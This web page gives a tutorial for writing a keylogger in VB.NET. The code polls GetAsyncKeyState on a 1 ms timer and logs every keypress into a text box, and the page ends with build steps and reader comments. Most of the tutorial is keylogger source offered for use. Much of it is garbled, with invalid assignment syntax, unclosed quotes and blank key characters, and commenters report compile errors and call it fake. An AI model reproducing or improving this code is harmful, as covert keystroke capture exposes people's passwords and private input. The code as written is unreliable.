VB.NET Keylogger

Webnode

Hello! In this tutorial I will explain how to create a keylogger using visual basic 2008/2010. 

the components you will need: 
1 x Timer (Timer1 | enabled = true | interval = 1) 
1 x RichTextBox (name:txtkeys) 
 

in order to get to the coding part, you need to double click on the bar that says form1 (your form). 

first thing you should do is collect data from a dll file called user32 
This can be done by adding the following code to the top of your codelist. 
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer 


We also need a variable to hold the retrieved keys to determine which key is pressed and then 
transfer the pressed key's name to txtkeys 
this variable to make you this code: Dim result As Integer 


Your code should look like this so far: 
Public Class Form1 
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer 
Dim result As Integer 
Private Sub Form1_Load (ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load 
End Sub 
End Class 


Now we want to see which keys are pressed. You do this by going back to the design of your form and  by double clicking on Timer1 
Now you see that a piece of code has been added. 
Enter this: 
REM Here they look for each character or word 
REM pressed far there are 255 different characters possible 
For i = 1 To 255 
result = 0 
result = GetAsyncKeyState (i) REM here looking at the keys are pressed 
REM from here to check whether the keys are equal to one  
If result = -32767 Then 
If Chr (i) = "(" Then 
txtkeys.Text txtkeys.Text & = "[Down Arrow] 
ElseIf Chr (i) = "%" Then 
txtkeys.Text txtkeys.Text & = "[Arrow Left]" 
ElseIf Chr (i) = "'" Then 
txtkeys.Text txtkeys.Text & = "[Arrow Right] 
ElseIf Chr (i) = "&" Then 
txtkeys.Text txtkeys.Text & = "[Arrow up]" 
ElseIf Chr (i) = "" Then 
txtkeys.Text txtkeys.Text = & "[click mouse left]" 
ElseIf Chr (i) = "" Then 
txtkeys.Text txtkeys.Text & = "[mouseclick right]" 
ElseIf Chr (i) = "" Then 
txtkeys.Text txtkeys.Text & = "[backspace] ' 
ElseIf Chr (i) = "." Then 
txtkeys.Text txtkeys.Text & = "[delete] 
ElseIf Chr (i) = "" Then 
txtkeys.Text txtkeys.Text & = "[shift]" 
ElseIf Chr (i) = "" Then 
txtkeys.Text txtkeys.Text & = "[tab]" 
ElseIf Chr (i) = "¾" Then 
txtkeys.Text txtkeys.Text & = "." 
ElseIf Chr (i) = "¼" Then 
txtkeys.Text txtkeys.Text & = "" 
ElseIf Chr (i) = "¿" Then 
txtkeys.Text txtkeys.Text = & "/" 
REM and re fit it is not a sign or enter a letter or 
REM-returns can not get the signs because that character is in VB 
REM enter even if caught. 
Else 
txtkeys.Text txtkeys.Text & = Chr (i) 
End If 
End If 
Next i 


REM everything there is a comment in VB (compiler) will turn green 
this was the keylogger 


order the exe file of your keylogger to get to your project and save 
then compile and then go into the release directory.

This is done so 
file-> Save All (choose here a place where you want to save the program manages) 
Now press compile 
Build -> build (here the name of your program manages) 
Go now to where you've saved your program manages 
go to 
(The name of your programatje) -> (the name of your program manages) -> bin -> Release 
Here is your program.


 Thanks to Digitalplace.nl


Topic: VB.NET Keylogger

Date: 27/03/2014

By: Hyman Graddy

Subject: michael kors website michael kors jobs



Reply

—————

Date: 08/12/2013

By: greesyZer

Subject: QSPTGugt90



Reply

—————

Date: 16/04/2013

By: anon

Subject: Lame

Tis is ripped off from another site and badly ripped off leaving out many parts.

Dont bother

Reply

—————

Date: 08/07/2012

By: Pallini

Subject: Crap

Fake :)

Reply

—————

Date: 25/04/2012

By: dmnjeet singh

Subject: info of ur program

where will the information stores of keystrokes will it mails us the keystrokes

Reply

—————

Date: 21/04/2012

By: Mike

Subject: Keylogger

How do you make one in Visual STUDIO 2010? I have followed the steps as in basic, but I get an error when I do it in Studio 2010?

Reply

—————

Date: 14/07/2012

By: hans

Subject: Re: Keylogger

i followed the tuturial and i get the next error message as well:
Property acces must assign to the property or use its value.
on each line like this: txtkeys.Text txtkeys.Text & = "[Down Arrow]
what do i miss in this case?
i also use VS/VB 2010

Reply

—————

Date: 23/09/2012

By: scorpionstech

Subject: Re: Re: Keylogger

i think you you missed the end quote/ quotation mark/ or whatever you call it. :D
it should be like this:


txtkeys.Text txtkeys.Text & = "[Down Arrow]"


the value should be inside a quote unless its a variable.


:)

Reply

—————